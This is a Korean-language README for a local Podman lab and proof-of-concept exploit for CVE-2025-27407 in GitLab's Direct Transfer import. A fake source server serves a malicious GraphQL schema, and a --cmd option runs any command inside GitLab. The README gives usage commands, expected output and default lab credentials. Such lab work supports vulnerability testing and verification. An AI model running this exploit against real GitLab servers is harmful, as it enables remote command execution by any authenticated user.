
로컬 랩 및 개념 증명 익스플로잇 for CVE-2025-27407, Direct Transfer HTTP 경로를 통해 GitLab의 GraphQL 인트로스펙션 스키마 로더를 대상으로 합니다. 컨테이너화된 환경과 자동화된 트리거 스크립트를 포함합니다.
| 파일 | 용도 |
|---|
lab.sh | GitLab 랩을 시작, 대기, 확인 및 정리합니다. |
poc_host_port_cmd.py | 일회성 PoC: 가짜 소스 서버 + GitLab 로그인/구성/가져오기 트리거. |
podman이 설치된 Linux 호스트curl기본값:
| 항목 | 기본값 |
|---|---|
| GitLab 이미지 | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
| GitLab 컨테이너 | cve-27407-gitlab |
| Podman 네트워크 | cve-2025-27407-net |
| GitLab 루트 사용자 | root |
| GitLab 루트 비밀번호 | Cve27407Password! |
| 마커 | /tmp/cve_2025_27407_gitlab_marker |
포트 8080이 스크립트 기본값입니다. 이미 사용 중인 경우 여기에 표시된 대로 18080을 사용하세요.
cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py
GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up
GitLab을 엽니다:
http://127.0.0.1:18080
로그인 자격 증명:
root / Cve27407Password!
root는 기본 랩 사용자일 뿐입니다. PoC 트리거는 관리자 계정이 필요하지 않습니다; 대상 네임스페이스에 생성/가져오기를 할 수 있는 인증된 사용자라면 누구나 취약한 Direct Transfer 경로에 도달할 수 있습니다. 비관리자 사용자로 테스트하려면 --username과 --password를 사용하세요.
MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"
./poc_host_port_cmd.py \
--host 127.0.0.1 \
--port 18080 \
--listen-port 8001 \
--wait-seconds 120 \
--cmd "touch $MARKER"
MARKER="$MARKER" ./lab.sh verify
예상 출력:
[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container
| 옵션 | 용도 | 기본값 |
|---|---|---|
--host | 대상 GitLab 호스트 | 필수 |
--port | 대상 GitLab HTTP 포트 | 필수 |
--cmd | GitLab 런타임에서 실행할 명령어 | touch /tmp/cve_2025_27407_gitlab_marker |
--listen-port | 로컬 가짜 소스 서버 포트 | 8001 |
--wait-seconds | 비동기 GitLab 워커를 위해 가짜 소스 유지 시간 | 90 |
--username | GitLab 사용자 이름 | root |
--password | GitLab 비밀번호 | Cve27407Password! |
| 변수 | 용도 | 기본값 |
|---|---|---|
GITLAB_HTTP_PORT | 호스트/컨테이너 GitLab HTTP 포트 | 8080 |
GITLAB_SSH_PORT | 호스트 GitLab SSH 포트 | 2224 |
GITLAB_ROOT_PASSWORD | 초기 루트 비밀번호 | Cve27407Password! |
GITLAB_IMAGE | 실행할 GitLab 이미지 | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
NETWORK | Podman 네트워크 이름 | cve-2025-27407-net |
MARKER | GitLab 컨테이너 내부에서 확인되는 파일 | /tmp/cve_2025_27407_gitlab_marker |
TIMEOUT_SECONDS | 준비 대기 시간 제한 | 1200 |
8080 포트가 사용 중이면 ./lab.sh up에 GITLAB_HTTP_PORT=18080을 사용하세요.--listen-port를 사용하지 않는 포트로 변경하세요.--wait-seconds를 늘리거나 MARKER="$MARKER" ./lab.sh verify를 다시 실행하세요.GITLAB_HTTP_PORT=18080 ./lab.sh wait를 다시 실행하세요../lab.sh cleanup을 실행하고 다시 시작하세요../lab.sh cleanup
이 명령은 GitLab 컨테이너, 이전 랩 버전의 레거시 가짜 소스 컨테이너 및 랩 네트워크를 제거합니다. 다운로드된 Podman 이미지는 제거하지 않습니다.